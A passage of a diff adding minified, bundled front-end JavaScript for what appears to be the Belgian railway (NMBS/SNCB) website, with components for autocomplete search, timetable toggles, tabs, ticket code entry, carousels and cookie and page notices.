"." + this.baseClass + "-option:first-child"; + var r = this.listbox.querySelector(n); + if (!r) { + return + } + this.listbox.focus(); + this.updateSelectedEl(r); + return + } + if (i === 9) { + this.handleTabOut(); + return + } + if (i === 27) { + this.handleTabOut() + } + if (i === 13) { + this.handleTabOut() + } + } + }, { + key: "handleInputChange", + value: function e() { + var t = this.input.value; + this.currentQuery = t; + if (t.length >= this.settings.minchars) { + this.searchDebounced(t); + return + } else { + this.renderSearchResults([]) + } + this.renderPreviousSearches() + } + }, { + key: "handleTabOut", + value: function e() { + var t = this.input.value.toLowerCase(); + var i = this.options.findIndex(function (e) { + return e.text.toLowerCase().indexOf(t) > -1 + }); + if (t !== "" && i > -1) { + var n = this.listbox.querySelector('[data-item-index="' + i + '"]'); + this.updateSelectedEl(n) + } else { + this.clearCurrentItem() + } + this.deactivate() + } + }, { + key: "renderPreviousSearches", + value: function e() { + if (this.settings.previoussearches.length === 0) { + return + } + this.options = this.settings.previoussearches; + this.isPreviousSearches = true; + this.previousSearchesLabel.classList.add("is-active"); + this.previousSearchesLabel.innerText = this.settings.recentsearches; + this.renderListbox() + } + }, { + key: "search", + value: function e(t) { + var i = this; + if (this.currentQuery == "" || t == "") { + return + } + this.loadingDelay = setTimeout(function () { + i.loadingStart() + }, 150); + this.fetchAjaxOptions(this.currentQuery).then(function (e) { + clearTimeout(i.loadingDelay); + i.loadingEnd(); + if (!i.settings.debug) { + if (e.query && e.query.toLowerCase() != i.currentQuery.toLowerCase()) { + return + } + } + if (i.settings.debug) { + if (Math.random() > .5) { + i.showNoResults(false); + i.renderSearchResults(e.results) + } else { + i.showNoResults(true); + i.renderSearchResults([]) + } + return + } + i.showNoResults(e.results.length === 0); + i.renderSearchResults(e.results) + }) + } + }, { + key: "loadingStart", + value: function e() { + this.noResults.innerHTML = '
 
'; + this.noResults.classList.add("is-active") + } + }, { + key: "loadingEnd", + value: function e() { + this.noResults.innerHTML = ""; + this.noResults.classList.remove("is-active") + } + }, { + key: "renderSearchResults", + value: function e(t) { + this.options = t; + this.isPreviousSearches = false; + this.previousSearchesLabel.innerText = this.settings.newsearch; + if (t.length > 0) { + this.ariaHelp.innerText = this.settings.ariahelp.replace("{resultCount}", t.length).replace("{query}", this.currentQuery) + } + this.renderListbox() + } + }, { + key: "showNoResults", + value: function e(t) { + if (t) { + this.noResults.innerText = this.settings.noresults; + this.noResults.classList.add("is-active"); + this.ariaHelp.innerText = this.settings.noresults; + return + } + this.noResults.innerText = "NOT FOUND"; + this.noResults.classList.remove("is-active") + } + }, { + key: "debounced", + value: function e(t, i) { + var n = void 0; + return function () { + for (var e = arguments.length, r = Array(e), a = 0; a < e; a++) { + r[a] = arguments[a] + } + if (n) { + clearTimeout(n) + } + n = setTimeout(function () { + i.apply(undefined, r); + n = null + }, t) + } + } + }, { + key: "fetchAjaxOptions", + value: function e(t) { + return fetch("" + this.settings.ajax + t, { + Accept: "application/json", + credentials: "same-origin" + }).then(function (e) { + return e.json() + }) + } + }, { + key: "handleListboxKeyDown", + value: function e(t) { + var i = t.keyCode; + if (i === 13) { + t.preventDefault(); + t.stopPropagation(); + this.submitCurrentItem(); + return + } + if (i === 9) { + this.deactivate(); + return + } + var n = null; + if (i == 40) { + t.preventDefault(); + var r = this.getSelectedOption(); + n = r && r.nextElementSibling + } + if (i == 38) { + t.preventDefault(); + var a = this.getSelectedOption(); + n = a && a.previousElementSibling + } + if (n) { + this.updateSelectedEl(n) + } + } + }, { + key: "updateSelectedEl", + value: function e(t) { + this.clearAllSelected(); + this.listbox.setAttribute("aria-activedescendant", t.getAttribute("id")); + t.classList.add("is-selected"); + var i = parseInt(t.getAttribute("data-item-index")); + var n = this.getItemByIdx(i); + this.setCurrentItem(n) + } + }, { + key: "setCurrentItem", + value: function e(t) { + this.currentItem = t; + this.hiddenInput.value = ""; + this.clearDataProps(); + this.input.value = ""; + if (this.currentItem) { + var i = this.currentItem, + n = i.value, + r = i.text; + this.hiddenInput.value = n; + this.addDataProps(this.currentItem); + this.input.value = r + } + this.triggerChange() + } + }, { + key: "clearDataProps", + value: function e() { + this.hiddenInput.removeAttribute("data-prop-json") + } + }, { + key: "addDataProps", + value: function e(t) { + this.hiddenInput.setAttribute("data-prop-json", (0, r.default)(t)) + } + }, { + key: "triggerChange", + value: function e() { + var t = this.currentItem ? this.currentItem : { + label: "", + value: "" + }, + i = t.label, + n = t.value; + var r = new CustomEvent("change", { + detail: { + label: i, + value: n + } + }); + this.hiddenInput.dispatchEvent(new CustomEvent("change")); + this.el.dispatchEvent(r) + } + }, { + key: "submitCurrentItem", + value: function e() { + this.deactivate(); + this.clearAllSelected(); + var t = this.currentItem, + i = t.label, + n = t.value; + var r = new CustomEvent("submit", { + detail: { + label: i, + value: n + } + }); + this.el.dispatchEvent(r) + } + }, { + key: "clearCurrentItem", + value: function e() { + this.currentItem = null; + this.hiddenInput.value = ""; + this.hiddenInput.dispatchEvent(new CustomEvent("change")); + this.listbox.removeAttribute("aria-activedescendant"); + this.setCurrentItem(null); + this.clearDataProps() + } + }, { + key: "clearAllSelected", + value: function e() { + this.optionEls.forEach(function (e) { + return e.classList.remove("is-selected") + }) + } + }, { + key: "getItemByIdx", + value: function e(t) { + return this.isPreviousSearches ? this.settings.previoussearches[t] : this.options[t] + } + }, { + key: "handleOptionFavorite", + value: function e(t) { + t.preventDefault(); + t.stopPropagation(); + return false + } + }, { + key: "handleOptionClick", + value: function e(t) { + t.preventDefault(); + t.stopPropagation(); + this.updateSelectedEl(t.currentTarget); + this.submitCurrentItem() + } + }, { + key: "getSelectedOption", + value: function e() { + return this.listbox.querySelector(".is-selected") + } + }, { + key: "handleInputFocus", + value: function e(t) { + document.body.addEventListener("click", this.handleClose); + this.activate(); + this.el.dispatchEvent(new CustomEvent("focus")) + } + }, { + key: "handleClose", + value: function e(t) { + if (!this.el.contains(t.target)) { + this.deactivate(); + document.body.removeEventListener("click", this.handleClose) + } + } + }, { + key: "getCurrentItem", + value: function e() { + if (this.currentItem) { + return this.currentItem + } + return null + } + }, { + key: "setSelected", + value: function e(t) { + this.setCurrentItem(t) + } + }, { + key: "focus", + value: function e() { + this.input.focus(); + this.activate() + } + }, { + key: "activate", + value: function e() { + var t = this; + this.el.classList.add("is-active"); + setTimeout(function () { + t.scrollVisible() + }, 60) + } + }, { + key: "deactivate", + value: function e() { + this.el.classList.remove("is-active"); + this.showNoResults(false); + if (this.input.value === "") { + this.setCurrentItem(null) + } + } + }]); + return t + }(p.Component); + w.default_settings = { + ajax: false, + noresults: "No results found", + newsearch: "Nieuwe zoekopdracht", + recentsearches: "Recente zoekopdrachten", + ariahelp: "Er zijn {resultCount} resultaten voor {query}. Gebruik de pijltjes om door de opties te navigeren", + previoussearches: null, + withfavorites: false, + minchars: 0, + searchtimeout: 500, + debug: false, + attributes: true + }; + t.default = w + }, function (e, t, i) { + e.exports = { + default: i(460), + __esModule: true + } + }, function (e, t, i) { + var n = i(14); + var r = n.JSON || (n.JSON = { + stringify: JSON.stringify + }); + e.exports = function e(t) { + return r.stringify.apply(r, arguments) + } + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.default = undefined; + var n = i(13); + var r = _(n); + var a = i(3); + var s = _(a); + var o = i(1); + var l = _(o); + var u = i(6); + var d = _(u); + var f = i(4); + var c = _(f); + var h = i(5); + var m = _(h); + var p = i(2); + var v = i(7); + + function _(e) { + return e && e.__esModule ? e : { + default: e + } + } + var g = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); + n.rows = (0, r.default)(n.el.querySelectorAll(".time-table__row")); + n.bindEvents(); + return n + }(0, d.default)(t, [{ + key: "bindEvents", + value: function e(t) { + var i = this; + this.handleRowToggle = this.handleRowToggle.bind(this); + this.rows.forEach(function (e) { + var t = e.querySelector(".toggle > a"); + if (t) { + t.addEventListener("click", i.handleRowToggle); + t.setAttribute("aria-expanded", false) + } + }) + } + }, { + key: "handleRowToggle", + value: function e(t) { + t.preventDefault(); + var i = t.currentTarget; + var n = i.parentNode.parentNode.parentNode.querySelector(".time-table__detail"); + if (n) { + if ((0, v.hasClass)(n, "is-active")) { + i.setAttribute("aria-expanded", false) + } else { + i.setAttribute("aria-expanded", true) + } + n.classList.toggle("is-active") + } + } + }]); + return t + }(p.Component); + g.defaultSettings = { + attributes: false + }; + t.default = g + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = g(n); + var a = i(1); + var s = g(a); + var o = i(6); + var l = g(o); + var u = i(4); + var d = g(u); + var f = i(5); + var c = g(f); + var h = i(15); + var m = i(7); + var p = _(m); + var v = i(2); + + function _(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function g(e) { + return e && e.__esModule ? e : { + default: e + } + } + var y = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); + n.bindEvents(); + return n + }(0, l.default)(t, [{ + key: "bindEvents", + value: function e() {} + }]); + return t + }(v.Component); + y.default_settings = { + attributes: true + }; + t.default = y + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.HighlightBlockCarousel = t.default = undefined; + var n = i(6); + var r = _(n); + var a = i(3); + var s = _(a); + var o = i(1); + var l = _(o); + var u = i(4); + var d = _(u); + var f = i(5); + var c = _(f); + var h = i(7); + var m = v(h); + var p = i(2); + + function v(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function _(e) { + return e && e.__esModule ? e : { + default: e + } + } + var g = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + return (0, d.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)) + } + return t + }(p.Component); + g.defaultSettings = { + attributes: true + }; + g.instances = []; + var y = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); + n.onNext = n.onNext.bind(n); + n.items = n.el.children; + n.btnNo = m.get(".btn--no", n.el, true); + n.btnNo.forEach(function (e) { + e.addEventListener("click", n.onNext) + }); + return n + }(0, r.default)(t, [{ + key: "onNext", + value: function e(t) { + t.preventDefault(); + var i = this.items[this.items.length - 1]; + this.el.insertBefore(i, this.items[0]); + return false + } + }]); + return t + }(p.Component); + y.defaultSettings = { + attributes: true + }; + y.instances = []; + t.default = g; + t.HighlightBlockCarousel = y + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.default = undefined; + var n = i(3); + var r = b(n); + var a = i(4); + var s = b(a); + var o = i(5); + var l = b(o); + var u = i(1); + var d = b(u); + var f = i(6); + var c = b(f); + var h = i(7); + var m = y(h); + var p = i(153); + var v = b(p); + var _ = i(2); + var g = i(15); + + function y(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function b(e) { + return e && e.__esModule ? e : { + default: e + } + } + var w = function () { + function e(t) { + var i = t.parent, + n = t.settings, + r = t.onCodeSave, + a = t.code, + s = a === undefined ? "" : a; + (0, d.default)(this, e); + this.state = { + valid: false, + code: s + }; + this.parent = i; + this.settings = n; + this.onCodeSave = r; + this.el = this.parent.appendChild(this.create()); + this.input = m.get(".input", this.el); + this.inputField = m.get("input", this.el); + new v.default(this.inputField); + if (this.state.code.length) { + this.setValidation(true) + } + this.el.querySelector(".btn").addEventListener("click", this.onAdd.bind(this)); + this.inputField.addEventListener("input", this.onChange.bind(this)) + }(0, c.default)(e, [{ + key: "create", + value: function e() { + var t = "code-row-" + (new Date).getTime() + "-" + parseInt(Math.random() * 999999); + var i = this.settings, + n = i.codelabel, + r = i.codename, + a = i.codemask, + s = i.codeplaceholder, + o = i.codecta; + var l = '\n
\n \n \n \n \n \n
\n\n "; + var u = document.createElement("div"); + u.classList.add("ticket__codelist__row"); + u.innerHTML = l; + return u + } + }, { + key: "onAdd", + value: function e(t) { + if (this.state.code.length) { + this.onCodeSave(this, this.state.code) + } else { + this.setValidation(false) + } + } + }, { + key: "onChange", + value: function e(t) { + this.state.code = this.inputField.value + } + }, { + key: "setValidation", + value: function e() { + var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true; + if (t) { + m.addClass(this.input, "success") + } else { + m.removeClass(this.input, "success") + } + this.state.valid = t + } + }, { + key: "isValid", + value: function e() { + return this.state.valid + } + }]); + return e + }(); + var M = function (e) { + (0, l.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, d.default)(this, t); + var n = (0, s.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); + n.state = { + codeRows: [], + extraActive: false + }; + n.selectors = { + titleTrigger: ".ticket__title--trigger", + multiTrigger: ".ticket__actions .btn", + codeContainer: ".ticket__codelist" + }; + if (n.isMulti()) { + n.el.querySelector(".ticket__content .ticket__actions .btn").addEventListener("click", function (e) { + e.preventDefault(); + n.setExtraActive(!n.state.extraActive); + return false + }) + } + n.titleTrigger = n.el.querySelector(n.selectors.titleTrigger); + if (n.titleTrigger) { + n.titleTrigger.setAttribute("aria-expanded", "false"); + n.titleTrigger.addEventListener("click", function (e) { + e.preventDefault(); + n.setExtraActive(!n.state.extraActive); + return false + }) + } + n.codeContainer = m.get(n.selectors.codeContainer, e); + if (parseInt(n.settings.code) === 1) { + n.initForCodes() + } + return n + }(0, c.default)(t, [{ + key: "isMulti", + value: function e() { + return m.hasClass(this.el, "ticket--multi") + } + }, { + key: "initForCodes", + value: function e() { + var t = this; + this.settings.codes = JSON.parse(this.settings.codes); + this.state.codeRows = this.settings.codes.map(function (e) { + return new w({ + parent: t.codeContainer, + settings: t.settings, + onCodeSave: t.onCodeSave.bind(t), + code: e + }) + }); + this.checkCodeRowValidationState() + } + }, { + key: "toggleMultiTriggerButton", + value: function e() { + var t = this.el.querySelector(".ticket__content .ticket__actions .btn"); + var i = t.innerHTML; + var n = t.getAttribute("data-toggle-label"); + t.setAttribute("data-toggle-label", i); + t.innerHTML = n + } + }, { + key: "setExtraActive", + value: function e(t) { + if (t) { + m.addClass(this.el, "active") + } else { + m.removeClass(this.el, "active") + } + this.titleTrigger.setAttribute("aria-expanded", t ? "true" : false); + if (this.isMulti()) { + this.toggleMultiTriggerButton() + } + this.state.extraActive = t; + this.scrollVisible() + } + }, { + key: "scrollVisible", + value: function e() { + var t = document.documentElement; + var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); + var n = this.el.getBoundingClientRect(), + r = n.top, + a = n.height; + var s = r + i + a; + if (a >= window.innerHeight) { + var o = document.body.classList.contains("cookied") ? document.querySelector(".cookie-notice").getBoundingClientRect() : document.querySelector(".navigation-bar").getBoundingClientRect(), + l = o.height; + var u = l; + window.scrollTo(0, i + r - u) + } else if (s > window.innerHeight + i) { + window.scrollTo(0, s - window.innerHeight + 20) + } + } + }, { + key: "checkCodeRowValidationState", + value: function e() { + var t = this.state.codeRows; + var i = t.filter(function (e) { + return e.isValid() + }); + if (i.length === t.length) { + t.push(new w({ + parent: this.codeContainer, + settings: this.settings, + onCodeSave: this.onCodeSave.bind(this) + })) + } + } + }, { + key: "onCodeSave", + value: function e(t, i) {} + }, { + key: "setValidation", + value: function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; + this.state.codeRows.forEach(function (e) { + if (e.name === t) { + e.setValidation(i) + } + }) + } + }]); + return t + }(_.Component); + M.defaultSettings = { + attributes: true, + code: 0, + codes: [], + codemask: "", + codeplaceholder: "", + codename: "", + codelabel: "", + codecta: "" + }; + t.default = M + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = _(n); + var a = i(1); + var s = _(a); + var o = i(6); + var l = _(o); + var u = i(4); + var d = _(u); + var f = i(5); + var c = _(f); + var h = i(7); + var m = v(h); + var p = i(2); + + function v(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function _(e) { + return e && e.__esModule ? e : { + default: e + } + } + var g = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); + n.tabs = m.get("ul li", n.el); + n.tabPanels = n.tabs.map(function (e) { + var t = e.querySelector("a").attributes["aria-controls"].value; + return document.querySelector(".tabs-content > div#" + t) + }); + n.onTabClick = n.onTabClick.bind(n); + n.onTabKeyUp = n.onTabKeyUp.bind(n); + n.init(); + window.addEventListener("resize", n.onResize.bind(n)); + return n + }(0, l.default)(t, [{ + key: "init", + value: function e() { + var t = this; + this.tabs.forEach(function (e) { + t.addTabEvents(e) + }); + if (this.isMobile()) { + this.setNewFirst(this.getFirstTab(), true) + } + } + }, { + key: "onResize", + value: function e(t) {} + }, { + key: "addTabEvents", + value: function e(t) { + var i = t.querySelector("a"); + i.addEventListener("click", this.onTabClick.bind(this, t)); + i.addEventListener("keyup", this.onTabKeyUp.bind(this)) + } + }, { + key: "setIcon", + value: function e() { + var t = document.createElement("span"); + t.classList.add("icon-wrapper"); + t.innerHTML = ''; + this.tabs.forEach(function (e) { + if (e.querySelector(".icon-wrapper") !== null) { + e.removeChild(e.querySelector(".icon-wrapper")) + } + }); + this.getFirstTab().appendChild(t) + } + }, { + key: "onTabKeyUp", + value: function e(t) { + var i = t.keyCode || t.which; + var n = this.getActive(); + var r = null; + switch (i) { + case 37: + if (n.previousElementSibling) { + r = n.previousElementSibling + } else { + r = this.getLastTab() + } + this.onTabClick(r, t); + r.focus(); + break; + case 39: + if (n.nextElementSibling) { + r = n.nextElementSibling + } else { + r = this.getFirstTab() + } + this.onTabClick(r, t); + r.focus(); + break; + default: + t.preventDefault(); + return false + } + } + }, { + key: "onTabClick", + value: function e(t, i) { + i.preventDefault(); + if (this.isMobile() && this.getFirstTab() === t) { + this.tabs.forEach(function (e) { + e.classList.add("show") + }); + return false + } + this.tabs.forEach(function (e) { + e.classList.remove("active"); + e.classList.remove("show"); + var t = e.querySelector("a"); + t.setAttribute("aria-selected", false); + t.setAttribute("tabindex", -1) + }); + this.tabPanels.forEach(function (e) { + e.setAttribute("aria-hidden", true); + e.classList.remove("active") + }); + t.classList.add("active"); + var n = t.querySelector("a"); + n.setAttribute("aria-selected", true); + n.setAttribute("tabindex", 0); + var r = this.getTabPanelById(n.attributes["aria-controls"].value); + r.classList.add("active"); + r.setAttribute("aria-hidden", false); + if (this.isMobile()) { + this.setNewFirst(t) + } + return false + } + }, { + key: "setNewFirst", + value: function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; + var n = t.cloneNode(true); + n.classList.add("label"); + this.addTabEvents(n); + if (!i) { + this.el.querySelector("ul").removeChild(this.getFirstTab()) + } + this.el.querySelector("ul").insertBefore(n, this.getFirstTab()); + this.setIcon() + } + }, { + key: "isMobile", + value: function e() { + var t = window.getComputedStyle(this.el); + var i = t.getPropertyValue("left"); + return i !== "auto" + } + }, { + key: "getFirstTab", + value: function e() { + return this.el.querySelector("ul li:first-child") + } + }, { + key: "getLastTab", + value: function e() { + return this.el.querySelector("ul li:last-child") + } + }, { + key: "getTabPanelById", + value: function e(t) { + return this.tabPanels.filter(function (e) { + return e.attributes.id.value === t + })[0] + } + }, { + key: "getActive", + value: function e() { + return this.el.querySelector("ul li.active") + } + }]); + return t + }(p.Component); + g.defaultSettings = { + attributes: false + }; + t.default = g + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.default = undefined; + var n = i(13); + var r = _(n); + var a = i(3); + var s = _(a); + var o = i(1); + var l = _(o); + var u = i(6); + var d = _(u); + var f = i(4); + var c = _(f); + var h = i(5); + var m = _(h); + var p = i(2); + var v = i(15); + + function _(e) { + return e && e.__esModule ? e : { + default: e + } + } + var g = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); + n.onAccept = n.onAccept.bind(n); + n.onResize = n.onResize.bind(n); + n.onSettings = n.onSettings.bind(n); + n.onSave = n.onSave.bind(n); + n.onCancel = n.onCancel.bind(n); + n.btnAccept = n.el.querySelector("#cookie-notice__accept"); + n.btnSettings = n.el.querySelector("#cookie-notice__settings"); + n.btnSave = n.el.querySelector("#cookie-notice__save"); + n.btnCancel = n.el.querySelector("#cookie-notice__cancel"); + n.settingsEl = n.el.querySelector(".cookie-notice__settings"); + n.sidebars = (0, r.default)(document.querySelectorAll(".sidebar")); + n.btnAccept && n.btnAccept.addEventListener("click", n.onAccept); + n.btnSettings && n.btnSettings.addEventListener("click", n.onSettings); + n.btnSave && n.btnSave.addEventListener("click", n.onSave); + n.btnCancel && n.btnCancel.addEventListener("click", n.onCancel); + window.addEventListener("resize", n.onResize); + n.bindInstanceToWindow(); + return n + }(0, d.default)(t, [{ + key: "bindInstanceToWindow", + value: function e() { + window.NMBS_SNCB = window.NMBS_SNCB || {}; + window.NMBS_SNCB.cookieNotice = this + } + }, { + key: "adaptElements", + value: function e() { + var t = this; + setTimeout(function () { + document.body.style.paddingTop = t.getHeight() + "px" + }, 200) + } + }, { + key: "getHeight", + value: function e() { + return this.el.offsetHeight + } + }, { + key: "onResize", + value: function e() { + this.adaptElements() + } + }, { + key: "onAccept", + value: function e(t) { + t.preventDefault(); + this.hide(); + return false + } + }, { + key: "onSettings", + value: function e(t) { + t.preventDefault(); + this.showSettings(); + return false + } + }, { + key: "onSave", + value: function e(t) { + t.preventDefault(); + this.hide(); + return false + } + }, { + key: "onCancel", + value: function e(t) { + t.preventDefault(); + this.hide(); + return false + } + }, { + key: "showSettings", + value: function e() { + this.settingsEl.classList.add("is-active"); + document.body.classList.add("no-scroll-mobile") + } + }, { + key: "show", + value: function e() { + document.body.classList.add("cookied"); + this.el.classList.add("is-active"); + this.adaptElements() + } + }, { + key: "hide", + value: function e() { + this.el.classList.remove("is-active"); + document.body.classList.remove("cookied"); + document.body.classList.remove("no-scroll-mobile"); + if (!document.body.classList.contains("noticed")) { + document.body.style.paddingTop = 0 + } + } + }, { + key: "kill", + value: function e() { + this.btnAccept && this.btnAccept.removeEventListener("click", this.onAccept); + this.btnSettings && this.btnSettings.removeEventListener("click", this.onSettings); + this.btnSave && this.btnSave.removeEventListener("click", this.onSave); + window.removeEventListener("resize", this.onResize); + this.el.parentNode.removeChild(this.el) + } + }]); + return t + }(p.Component); + g.defaultSettings = { + attributes: true + }; + g.getInstance = function () { + if (!window.NMBS_SNCB) { + return null + } + return window.NMBS_SNCB.cookieNotice || null + }; + t.default = g + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.default = undefined; + var n = i(13); + var r = v(n); + var a = i(3); + var s = v(a); + var o = i(1); + var l = v(o); + var u = i(6); + var d = v(u); + var f = i(4); + var c = v(f); + var h = i(5); + var m = v(h); + var p = i(2); + + function v(e) { + return e && e.__esModule ? e : { + default: e + } + } + var _ = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); + n.onAccept = n.onAccept.bind(n); + n.onResize = n.onResize.bind(n); + n.btn = n.el.querySelector("button.page-notice__accept"); + n.sidebars = (0, r.default)(document.querySelectorAll(".sidebar")); + n.btn.addEventListener("click", n.onAccept); + window.addEventListener("resize", n.onResize); + n.init(); + return n + }(0, d.default)(t, [{ + key: "init", + value: function e() { + document.body.classList.add("noticed"); + this.adaptElements() + } + }, { + key: "adaptElements", + value: function e() { + var t = this; + setTimeout(function () { + t.sidebars.forEach(function (e) { + var i = e.classList.contains("sidebar__container--fixed"); + e.style.top = (i ? t.getHeight() : 0) + "px" + }); + document.body.style.paddingTop = t.getHeight() + "px" + }, 200) + } + }, { + key: "getHeight", + value: function e() { + return this.el.offsetHeight + } + }, { + key: "onResize", + value: function e() { + this.adaptElements() + } + }, { + key: "onAccept", + value: function e(t) { + t.preventDefault(); + this.hide(); + return false + } + }, { + key: "hide", + value: function e() { + document.body.classList.remove("noticed"); + if (!document.body.classList.contains("cookied")) { + document.body.style.paddingTop = 0; + this.sidebars.forEach(function (e) { + e.style.top = 0 + }) + } + this.btn.removeEventListener("click", this.onAccept); + window.removeEventListener("resize", this.onResize); + this.el.parentNode.removeChild(this.el) + } + }]); + return t + }(p.Component); + _.defaultSettings = { + attributes: false + }; + t.default = _ + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = v(n); + var a = i(1); + var s = v(a); + var o = i(4); + var l = v(o); + var u = i(5); + var d = v(u); + var f = i(2); + var c = i(469); + var h = v(c); + var m = i(470); + var p = v(m); + + function v(e) { + return e && e.__esModule ? e : { + default: e + } + } + var _ = function (e) { + (0, d.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); + (0, p.default)(e, function () { + new h.default(e, { + itemSelector: ".teaser-list__item", + gutter: 15, + percentPosition: true, + transitionDuration: 0 + }) + }); + return n + } + return t + }(f.Component); + t.default = _ + }, function (e, i) { + e.exports = t + }, function (e, t) { + e.exports = i + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(13); + var r = v(n); + var a = i(3); + var s = v(a); + var o = i(1); + var l = v(o); + var u = i(6); + var d = v(u); + var f = i(4); + var c = v(f); + var h = i(5); + var m = v(h); + var p = i(2); + + function v(e) { + return e && e.__esModule ? e : { + default: e + } + } + var _ = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); + var a = n; + var o = e.querySelectorAll("tr > td > label"); + n.els = o; + n.container = n.el; + n.bindEvents(); + (0, r.default)(o).forEach(function (e) { + var t = e.querySelector("input"); + if (t.checked) { + e.classList.add("checked") + } else { + e.classList.remove("checked") + } + t.addEventListener("change", function () { + a.setState(e) + }); + t.addEventListener("blur", function () { + a.loseFocus(e) + }); + t.addEventListener("focus", function () { + a.addFocus(e) + }) + }); + return n + }(0, d.default)(t, [{ + key: "bindEvents", + value: function e() { + this.setState = this.setState.bind(this); + this.addFocus = this.addFocus.bind(this); + this.loseFocus = this.loseFocus.bind(this) + } + }, { + key: "addFocus", + value: function e(t) { + t.classList.add("focus") + } + }, { + key: "loseFocus", + value: function e(t) { + t.classList.remove("focus") + } + }, { + key: "setState", + value: function e(t) { + if (this.container.classList.contains("radio")) { + if (!t.classList.contains("checked")) { + (0, r.default)(this.els).forEach(function (e) { + e.classList.remove("checked"); + e.classList.remove("focus") + }); + t.classList.add("checked"); + t.classList.add("focus") + } + } else { + if (!t.classList.contains("checked")) { + t.classList.add("checked"); + t.classList.add("focus") + } else { + t.classList.remove("checked"); + t.classList.add("focus") + } + } + } + }]); + return t + }(p.Component); + _.defaultSettings = {}; + t.default = _ + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = m(n); + var a = i(1); + var s = m(a); + var o = i(6); + var l = m(o); + var u = i(4); + var d = m(u); + var f = i(5); + var c = m(f); + var h = i(2); + + function m(e) { + return e && e.__esModule ? e : { + default: e + } + } + var p = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); + var a = e.querySelectorAll("button, a, input"); + var o = a[0]; + var l = a[a.length - 1]; + var u = 9; + n.firstFocusableEl = o; + n.lastFocusableEl = l; + e.addEventListener("keydown", function (e) { + if (e.key === "Tab" || e.keyCode === u) { + if (e.shiftKey) { + if (document.activeElement === o) { + l.focus(); + e.preventDefault() + } + } else { + if (document.activeElement === l) { + o.focus(); + e.preventDefault() + } + } + } + }); + n.bindEvents(); + n.bindInstanceToWindow(); + return n + }(0, l.default)(t, [{ + key: "bindInstanceToWindow", + value: function e() { + window.NMBS_SNCB = window.NMBS_SNCB || {}; + 